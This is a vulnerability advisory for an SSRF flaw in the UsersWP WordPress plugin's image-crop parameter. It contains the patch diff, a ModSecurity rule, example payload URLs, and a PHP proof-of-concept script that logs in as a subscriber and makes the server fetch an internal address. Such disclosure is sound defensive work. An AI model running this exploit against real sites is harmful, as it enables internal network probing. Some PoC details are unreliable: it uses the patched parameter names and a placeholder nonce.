Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 17, 2026

CVE-2026-4979: UsersWP <= 1.2.58 – Authenticated (Subscriber+) Server-Side Request Forgery via 'uwp_crop' Parameter (userswp)

CVE ID CVE-2026-4979
Plugin userswp
Severity Medium (CVSS 5.0)
CWE 918
Vulnerable Version 1.2.58
Patched Version 1.2.59
Disclosed April 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4979:
The UsersWP WordPress plugin (versions <= 1.2.58) contains a server-side request forgery vulnerability in its avatar and banner image crop functionality. This vulnerability allows authenticated attackers with subscriber-level permissions or higher to force the WordPress server to make arbitrary HTTP requests to internal network destinations or attacker-controlled servers.

Root Cause: The vulnerability originates in the process_image_crop() method within /userswp/includes/class-forms.php. The method accepts a user-controlled URL via the uwp_crop POST parameter (line 205). Before patching, the function only validated this URL using esc_url() for sanitization and wp_check_filetype() for extension verification. Crucially, it lacked validation to ensure the URL referenced a local uploads directory file. The URL was then passed to uwp_resizeThumbnailImage() which used PHP image processing functions like getimagesize() and imagecreatefrom*() that support URL wrappers and perform outbound HTTP requests.

Exploitation: An attacker with subscriber-level access can submit a crafted POST request to the plugin's image crop handler. The attack vector targets the uwp_crop parameter with a malicious URL pointing to internal network services or external attacker-controlled servers. The payload would include coordinates parameters (x, y, w, h) and the uwp_crop parameter containing a full URL like http://internal-service.local/ or https://attacker.com/image.jpg. The server processes this URL through image functions, triggering outbound HTTP requests.

Patch Analysis: The patch adds origin validation in the process_image_crop() method. After extracting the image_url from the uwp_crop parameter, the patch normalizes the URL and checks if it begins with the WP_CONTENT_URL path (lines 217-223). This ensures the URL references a file within the WordPress content directory. The patch also renames coordinate parameters from generic names (x, y, w, h) to prefixed versions (uwpx, uwpy, uwpw, uwph) to prevent potential parameter collisions. Additional security improvements include enhanced input validation in the upload_file_remove() method and proper error handling.

Impact: Successful exploitation enables attackers to perform blind SSRF attacks. This allows internal network scanning, potentially exposing sensitive services running on internal networks. Attackers could also use the server as a proxy to attack other systems or exfiltrate data from internal resources. While the vulnerability requires authentication, the low subscriber-level requirement makes it accessible to most registered users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/userswp/admin/settings/class-formbuilder.php
+++ b/userswp/admin/settings/class-formbuilder.php
@@ -1818,7 +1818,7 @@
                 'label'      => __( 'Validation Pattern', 'userswp' ) . uwp_help_tip( __( 'Enter regex expression for HTML5 pattern validation.', 'userswp' ) ),
                 'type'       => 'text',
                 'wrap_class' => uwp_advanced_toggle_class(),
-                'value'      => addslashes_gpc( $value ), // Keep slashes
+                'value'      => wp_slash( $value ), // Keep slashes
             )
         );

--- a/userswp/includes/class-forms.php
+++ b/userswp/includes/class-forms.php
@@ -103,25 +103,24 @@
 		}

 		if ( $processed ) {
-
 			if ( is_wp_error( $errors ) ) {
-				echo aui()->alert(
-                    array( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-					'type'    => 'error',
-					'class'   => 'text-center',
-					'content' => wp_kses_post( $errors->get_error_message() ),
-                    )
-                );
-			} elseif ( $redirect ) {
+				aui()->alert(
+					array(
+						'type'    => 'error',
+						'content' => wp_kses_post( $errors->get_error_message() )
+					),
+					true
+				);
+			} else if ( $redirect ) {
 					wp_safe_redirect( $redirect );
 					exit();
-				} else {
-				echo aui()->alert(
-				array( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-				'type'    => 'success',
-				'class'   => 'text-center',
-				'content' => wp_kses_post( $message ),
-                    )
+			} else {
+				aui()->alert(
+					array(
+						'type'    => 'success',
+						'content' => wp_kses_post( $message )
+					),
+					true
 				);
 			}
 		}
@@ -197,6 +196,7 @@
 	 */
 	public function process_image_crop( $data = array(), $type = 'avatar', $unlink_prev_img = false ) {
 		global $wpdb;
+
 		if ( ! is_user_logged_in() ) {
 			return false;
 		}
@@ -205,6 +205,27 @@
 			return;
 		}

+		$image_url = ! empty( $data['uwp_crop'] ) ? esc_url( $data['uwp_crop'] ) : '';
+
+		if ( empty( $image_url ) ) {
+			return new WP_Error( 'empty_image', __( 'Upload valid image.', 'userswp' ) );
+		}
+
+		// Ensure we have a valid URL with an allowed meme type.
+		$image_url = $this->normalize_url( $image_url );
+
+		$content_url = str_replace( array( 'https://', 'http://' ) , '', untrailingslashit( WP_CONTENT_URL ) );
+		$_image_url = str_replace( array( 'https://', 'http://' ), '', $image_url );
+		if ( strpos( $_image_url, $content_url ) !== 0 ) {
+			return new WP_Error( 'invalid_image', __( 'Invalid image url.', 'userswp' ) );
+		}
+
+		$filetype = wp_check_filetype( $image_url );
+
+		if ( empty( $filetype['ext'] ) ) {
+			return new WP_Error( 'invalid_image', __( 'Invalid image type.', 'userswp' ) );
+		}
+
 		// If is current user's profile (profile.php)
 		if ( is_admin() && defined( 'IS_PROFILE_PAGE' ) && IS_PROFILE_PAGE ) {
 			$user_id = get_current_user_id();
@@ -216,19 +237,6 @@
 			$user_id = get_current_user_id();
 		}

-		// Ensure we have a valid URL with an allowed meme type.
-		$image_url = $this->normalize_url( esc_url( $data['uwp_crop'] ) );
-		$filetype  = wp_check_filetype( $image_url );
-
-		$errors = new WP_Error();
-		if ( empty( $image_url ) || empty( $filetype['ext'] ) ) {
-			$errors->add( 'something_wrong', __( 'Something went wrong. Please contact site admin.', 'userswp' ) );
-		}
-
-		if ( $errors->has_errors() ) {
-			return $errors;
-		}
-
 		// Retrieve current thumbnail.
 		$current_field     = 'avatar' === $type ? 'avatar_thumb' : 'banner_thumb';
 		$current_thumbnail = $this->normalize_url( uwp_get_usermeta( $user_id, $current_field, '' ) );
@@ -253,11 +261,12 @@
 			$name                 = sanitize_file_name( pathinfo( $image_path, PATHINFO_FILENAME ) ); //file name without extension
 			$thumb_image_name     = $name . $thumb_postfix . '.' . $ext;
 			$thumb_image_location = str_replace( $name . '.' . $ext, $thumb_image_name, $image_path );
+
 			//Get the new coordinates to crop the image.
-			$x = $data['x'];
-			$y = $data['y'];
-			$w = $data['w'];
-			$h = $data['h'];
+			$x = $data['uwpx'];
+			$y = $data['uwpy'];
+			$w = $data['uwpw'];
+			$h = $data['uwph'];
 			//Scale the image based on cropped width setting
 			$scale = $full_width / $w;
 			//$scale = 1; // no scaling
@@ -2249,44 +2258,79 @@
 	 * @since   1.0.0
 	 */
 	public function upload_file_remove() {
+		global $wpdb;
+
 		check_ajax_referer( 'uwp_basic_nonce', 'security' );

-		$htmlvar = esc_sql( strip_tags( $_POST['htmlvar'] ) );
+		// Check user logged in.
+		if ( ! is_user_logged_in() ) {
+			$message = aui()->alert( array( 'type' => 'error', 'content' => __( 'Access denied!', 'userswp' ) ) );
+			wp_send_json_error( array( 'message' => $message ) );
+		}
+
 		$user_id = ! empty( $_POST['uid'] ) ? absint( $_POST['uid'] ) : 0;
+		$htmlvar = ! empty( $_POST['htmlvar'] ) ? sanitize_key( $_POST['htmlvar'] ) : '';

-		if ( empty( $user_id ) ) {
-			wp_die( -1 );
+		if ( empty( $user_id ) || empty( $htmlvar ) ) {
+			$message = aui()->alert( array( 'type' => 'error', 'content' => __( 'Invalid data!', 'userswp' ) ) );
+			wp_send_json_error( array( 'message' => $message ) );
 		}

-		if ( ! ( is_user_logged_in() && ( $user_id == (int) get_current_user_id() || current_user_can( 'manage_options' ) ) ) ) {
-			wp_send_json_error( __( 'Invalid access!', 'userswp' ) );
+		// Validate the user / admin.
+		if ( ! ( $user_id == (int) get_current_user_id() || current_user_can( 'manage_options' ) ) ) {
+			$message = aui()->alert( array( 'type' => 'error', 'content' => __( 'Invalid access!', 'userswp' ) ) );
+			wp_send_json_error( array( 'message' => $message ) );
 		}

-		// Remove file
 		if ( $htmlvar == 'banner_thumb' ) {
-			$file = uwp_get_usermeta( $user_id, 'banner_thumb' );
+			$field_key = 'banner';
 			$type = 'banner';
-		} elseif ( $htmlvar == 'avatar_thumb' ) {
-			$file = uwp_get_usermeta( $user_id, 'avatar_thumb' );
+		} else if ( $htmlvar == 'avatar_thumb' ) {
+			$field_key = 'avatar';
 			$type = 'avatar';
 		} else {
-			$file = '';
+			$field_key = $htmlvar;
 			$type = '';
 		}

+		$field = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM " . uwp_get_table_prefix() . "uwp_form_fields WHERE htmlvar_name = %s LIMIT 1", $field_key ) );
+
+		// Check field exists.
+		if ( empty( $field ) ) {
+			$message = aui()->alert( array( 'type' => 'error', 'content' => __( 'Invalid field!', 'userswp' ) ) );
+			wp_send_json_error( array( 'message' => $message ) );
+		}
+
+		// Validate field access.
+		if ( ! empty( $field->for_admin_use ) && ! current_user_can( 'manage_options' ) ) {
+			$message = aui()->alert( array( 'type' => 'error', 'content' => __( 'You are not allowed to perform this action!', 'userswp' ) ) );
+			wp_send_json_error( array( 'message' => $message ) );
+		}
+
+		if ( ! in_array( $field->field_type, array( 'file', 'image' ) ) ) {
+			$message = aui()->alert( array( 'type' => 'error', 'content' => __( 'Invalid field type!', 'userswp' ) ) );
+			wp_send_json_error( array( 'message' => $message ) );
+		}
+
+		$value = uwp_get_usermeta( $user_id, $htmlvar );
+
 		uwp_update_usermeta( $user_id, $htmlvar, '' );

-		if ( $file ) {
+		if ( $value ) {
 			$uploads     = wp_upload_dir();
 			$upload_path = $uploads['basedir'];
-			$unlink_file = untrailingslashit( $upload_path ) . '/' . ltrim( $file, '/' );
+			$unlink_file = untrailingslashit( $upload_path ) . '/' . ltrim( $value, '/' );

 			if ( is_file( $unlink_file ) && file_exists( $unlink_file ) ) {
 				@unlink( $unlink_file );
-				$unlink_ori_file = str_replace( '_uwp_' . $type . '_thumb' . '.', '.', $unlink_file );

-				if ( is_file( $unlink_ori_file ) && file_exists( $unlink_ori_file ) ) {
-					@unlink( $unlink_ori_file );
+				// For avatar/banner, also remove the original (non-thumb) file.
+				if ( $type ) {
+					$unlink_ori_file = str_replace( '_uwp_' . $type . '_thumb' . '.', '.', $unlink_file );
+
+					if ( is_file( $unlink_ori_file ) && file_exists( $unlink_ori_file ) ) {
+						@unlink( $unlink_ori_file );
+					}
 				}
 			}
 		}
@@ -4322,7 +4366,7 @@
 		if ( empty( $html ) ) {

 			$design_style    = uwp_get_option( 'design_style', 'bootstrap' );
-			$bs_form_group   = $design_style ? 'form-group m-0' : ''; // country wrapper div added by JS adds marginso we remove ours
+			$bs_form_group   = $design_style ? 'form-group m-0' : ''; // country wrapper div added by JS adds margin so we remove ours
 			$bs_sr_only      = $design_style ? 'sr-only' : '';
 			$bs_form_control = $design_style ? 'form-control' : '';

--- a/userswp/includes/class-userswp.php
+++ b/userswp/includes/class-userswp.php
@@ -571,7 +571,7 @@

 		// general
 		add_action( 'init', array( $instance, 'init_notices' ), 1 );
-		add_action( 'uwp_loaded', array( $instance, 'handler' ) );
+		add_action( 'init', array( $instance, 'handler' ), 11 );
 		add_action( 'init', array( $instance, 'privacy_submit_handler' ) );
 		add_action( 'uwp_template_display_notices', array( $instance, 'display_notices' ), 10, 1 );
 		add_action( 'wp_ajax_uwp_upload_file_remove', array( $instance, 'upload_file_remove' ) );
--- a/userswp/templates/bootstrap/modal-profile-image-crop.php
+++ b/userswp/templates/bootstrap/modal-profile-image-crop.php
@@ -36,28 +36,28 @@
                 echo aui()->input(array( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 	                'type'  =>  'hidden',
 	                'id'    =>  esc_html( $type.'-x' ),
-	                'name'  =>  'x',
+	                'name'  =>  'uwpx',
 	                'value' =>  '',
 	                'no_wrap' => true,
                 ));
                 echo aui()->input(array( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 	                'type'  =>  'hidden',
 	                'id'    =>  esc_html( $type.'-y' ),
-	                'name'  =>  'y',
+	                'name'  =>  'uwpy',
 	                'value' =>  '',
 	                'no_wrap' => true,
                 ));
                 echo aui()->input(array( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 	                'type'  =>  'hidden',
 	                'id'    =>  esc_html( $type.'-w' ),
-	                'name'  =>  'w',
+	                'name'  =>  'uwpw',
 	                'value' =>  '',
 	                'no_wrap' => true,
                 ));
                 echo aui()->input(array( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 	                'type'  =>  'hidden',
 	                'id'    =>  esc_html( $type.'-h' ),
-	                'name'  =>  'h',
+	                'name'  =>  'uwph',
 	                'value' =>  '',
 	                'no_wrap' => true,
                 ));
--- a/userswp/templates/bootstrap/profile-header.php
+++ b/userswp/templates/bootstrap/profile-header.php
@@ -23,7 +23,9 @@
 	return;
 }

-if ( ! $uwp_in_user_loop ){ ?>
+if ( ! $uwp_in_user_loop ) {
+do_action( 'uwp_template_display_notices', 'profile' );
+?>
 <div class="card shadow-0 border-0 mw-100"><?php }

 	if ( ! $hide_cover ) {
--- a/userswp/templates/modal-profile-image-crop.php
+++ b/userswp/templates/modal-profile-image-crop.php
@@ -34,10 +34,10 @@
 				<div class="uwp-<?php echo esc_attr( $type ); ?>-crop-p-wrap">
 					<div id="<?php echo esc_attr( $type ); ?>-crop-actions">
 						<form class="uwp-crop-form" method="post">
-							<input type="hidden" name="x" value="" id="<?php echo esc_attr( $type ); ?>-x" />
-							<input type="hidden" name="y" value="" id="<?php echo esc_attr( $type ); ?>-y" />
-							<input type="hidden" name="w" value="" id="<?php echo esc_attr( $type ); ?>-w" />
-							<input type="hidden" name="h" value="" id="<?php echo esc_attr( $type ); ?>-h" />
+							<input type="hidden" name="uwpx" value="" id="<?php echo esc_attr( $type ); ?>-x" />
+							<input type="hidden" name="uwpy" value="" id="<?php echo esc_attr( $type ); ?>-y" />
+							<input type="hidden" name="uwpw" value="" id="<?php echo esc_attr( $type ); ?>-w" />
+							<input type="hidden" name="uwph" value="" id="<?php echo esc_attr( $type ); ?>-h" />
 							<input type="hidden" id="uwp-<?php echo esc_attr( $type ); ?>-crop-image" name="uwp_crop" value="<?php echo esc_attr( $image_url ); ?>" />
 							<input type="hidden" name="uwp_crop_nonce" value="<?php echo esc_attr( wp_create_nonce( 'uwp_crop_nonce_'.$type ) ); ?>" />
 							<input type="submit" name="uwp_<?php echo esc_attr( $type ); ?>_crop" value="<?php esc_attr_e('Apply', 'userswp'); ?>" class="button button-primary" id="save_uwp_<?php echo esc_attr( $type ); ?>" />
--- a/userswp/userswp.php
+++ b/userswp/userswp.php
@@ -3,7 +3,7 @@
 Plugin Name: UsersWP
 Plugin URI: https://userswp.io/
 Description: The only lightweight user profile plugin for WordPress. UsersWP features front end user profile, users directory, a registration and a login form.
-Version: 1.2.58
+Version: 1.2.59
 Author: AyeCode Ltd
 Author URI: https://userswp.io
 License: GPL-2.0+
@@ -24,7 +24,7 @@
 }

 if ( ! defined( 'USERSWP_VERSION' ) ) {
-	define( 'USERSWP_VERSION', '1.2.58' );
+	define( 'USERSWP_VERSION', '1.2.59' );
 }

 if ( ! defined( 'USERSWP_PATH' ) ) {
--- a/userswp/vendor/ayecode/wp-ayecode-ui/ayecode-ui-loader.php
+++ b/userswp/vendor/ayecode/wp-ayecode-ui/ayecode-ui-loader.php
@@ -15,7 +15,7 @@
  */
 add_action('after_setup_theme', function () {
 	global $ayecode_ui_version,$ayecode_ui_file_key;
-	$this_version = "0.2.44";
+	$this_version = "0.2.45";
 	if(empty($ayecode_ui_version) || version_compare($this_version , $ayecode_ui_version, '>')){
 		$ayecode_ui_version = $this_version ;
 		$ayecode_ui_file_key = wp_hash( __FILE__ );
--- a/userswp/vendor/ayecode/wp-ayecode-ui/example-plugin.php
+++ b/userswp/vendor/ayecode/wp-ayecode-ui/example-plugin.php
@@ -3,7 +3,7 @@
 Plugin Name: AyeCode UI
 Plugin URI: https://ayecode.io/
 Description: This is an example plugin to test AyeCode UI Quickly.
-Version: 0.2.44
+Version: 0.2.45
 Author: AyeCode Ltd
 Author URI: https://userswp.io
 License: GPL-2.0+
--- a/userswp/vendor/ayecode/wp-ayecode-ui/includes/ayecode-ui-settings.php
+++ b/userswp/vendor/ayecode/wp-ayecode-ui/includes/ayecode-ui-settings.php
@@ -35,7 +35,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '0.2.44';
+		public $version = '0.2.45';

 		/**
 		 * Class textdomain.
--- a/userswp/vendor/ayecode/wp-ayecode-ui/includes/inc/bs5-js.php
+++ b/userswp/vendor/ayecode/wp-ayecode-ui/includes/inc/bs5-js.php
@@ -599,10 +599,8 @@
             } );

         });
-
     }

-
     /**
      * Open a lightbox when an embed item is clicked.
      */
@@ -665,8 +663,6 @@
                 $carousel  += '</ol>';
             }

-
-
             // items
             $i = 0;
             $rtl_class = '<?php echo is_rtl() ? 'justify-content-end' : 'justify-content-start'; ?>';
@@ -685,12 +681,17 @@
                 if (srcset) {
                     var sources = srcset.split(',')
                         .map(s => {
-                            var parts = s.trim().split(' ');
-                            return {
-                                width: parseInt(parts[1].replace('w', '')),
-                                descriptor: parts[1].replace('w', 'px')  // Ensuring the descriptor is in pixels
-                            };
+                            // Using regex /s+/ handles multiple spaces between the URL and width
+                            var parts = s.trim().split(/s+/).filter(Boolean);
+                            if (parts.length >= 2) {
+                                return {
+                                    width: parseInt(parts[1].replace('w', '')),
+                                    descriptor: parts[1].replace('w', 'px') // Ensuring the descriptor is in pixels
+                                };
+                            }
+                            return null;
                         })
+                        .filter(item => item !== null) // Remove any empty entries
                         .sort((a, b) => b.width - a.width); // Sort from largest to smallest for proper descending order

                     // Build the sizes string
@@ -703,10 +704,8 @@
                             return `(max-width: ${source.width - 1}px) ${array[index - 1].descriptor}`;
                         }
                     }).reverse().join(', '); // Reverse to start from smallest to largest for logical order
-
                 }

-
                 var img = href ? jQuery(a).find('img').clone().attr('src', href ).attr('sizes', sizes ).removeClass().addClass('mx-auto d-block w-auto rounded').css({'max-height':css_height,'max-width':'98%'}).get(0).outerHTML :  jQuery(a).find('img').clone().removeClass().addClass('mx-auto d-block w-auto rounded').css({'max-height':css_height,'max-width':'98%'}).get(0).outerHTML;
                 $carousel += img;
                 // captions
@@ -736,11 +735,9 @@

                 $carousel  += '</div></div>';
                 $i++;
-
             });
             $carousel  += '</div>';

-
             // next/prev indicators
             if($images.length > 1) {
                 $carousel += '<a class="carousel-control-prev" href="#aui-embed-slider-modal" role="button" data-bs-slide="prev">';
--- a/userswp/vendor/composer/installed.php
+++ b/userswp/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'uswerwp/userswp',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'cb6b334724a429ae4a83490a46a5f3480fa82bd4',
+        'reference' => 'cd9221d17db82a25422efb5dc6eb83ed42811a04',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'ayecode/wp-ayecode-ui' => array(
-            'pretty_version' => '0.2.44',
-            'version' => '0.2.44.0',
-            'reference' => '8a2cb97147c889473e611e8bb240c8b658b87237',
+            'pretty_version' => '0.2.45',
+            'version' => '0.2.45.0',
+            'reference' => 'a68d22a3bc87a85dd12a519dee52366b8a7e4321',
             'type' => 'library',
             'install_path' => __DIR__ . '/../ayecode/wp-ayecode-ui',
             'aliases' => array(),
@@ -79,7 +79,7 @@
         'uswerwp/userswp' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'cb6b334724a429ae4a83490a46a5f3480fa82bd4',
+            'reference' => 'cd9221d17db82a25422efb5dc6eb83ed42811a04',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20264979,phase:2,deny,status:403,chain,msg:'CVE-2026-4979 SSRF via UsersWP uwp_crop parameter',severity:'CRITICAL',tag:'CVE-2026-4979',tag:'OWASP_A10_2021',tag:'OWASP_A1_2017'"
  SecRule ARGS_POST:action "@rx ^uwp_(avatar|banner)_crop$" "chain"
    SecRule ARGS_POST:uwp_crop "@rx ^(http|https|ftp)://" "chain"
      SecRule ARGS_POST:uwp_crop "!@beginsWith /wp-content/" "chain"
        SecRule ARGS_POST:uwp_crop "!@contains localhost" "chain"
          SecRule ARGS_POST:uwp_crop "!@rx ^(http|https)://[^/]+/wp-content/" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4979 - UsersWP <= 1.2.58 - Authenticated (Subscriber+) Server-Side Request Forgery via 'uwp_crop' Parameter

<?php

$target_url = 'https://vulnerable-wordpress-site.com/';
$username = 'subscriber_user';
$password = 'subscriber_password';
$internal_target = 'http://192.168.1.1:8080/admin';

// Step 1: Authenticate to WordPress
$login_url = $target_url . 'wp-login.php';
$admin_ajax_url = $target_url . 'wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Get login page to retrieve nonce
$response = curl_exec($ch);
preg_match('/name="log"[^>]*>/', $response, $matches);

// Prepare login data
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . 'wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);

// Step 2: Exploit SSRF via uwp_crop parameter
// The plugin processes image crops through admin-ajax.php
// We need to simulate an avatar crop request with malicious URL

$crop_data = array(
    'action' => 'uwp_avatar_crop',  // Or uwp_banner_crop for banner images
    'uwp_crop' => $internal_target,  // Malicious SSRF payload
    'uwpx' => '0',  // Crop coordinates
    'uwpy' => '0',
    'uwpw' => '100',
    'uwph' => '100',
    'uwp_crop_nonce' => 'bypassed_nonce'  // Nonce validation may be required
);

// In real exploitation, the attacker would need to obtain a valid nonce
// from the profile page or bypass nonce validation if present

curl_setopt($ch, CURLOPT_URL, $admin_ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($crop_data));
$response = curl_exec($ch);

// The server will attempt to fetch the internal_target URL
// via PHP's image processing functions

echo "SSRF attempt completed. Response: " . htmlspecialchars($response);

curl_close($ch);

?>

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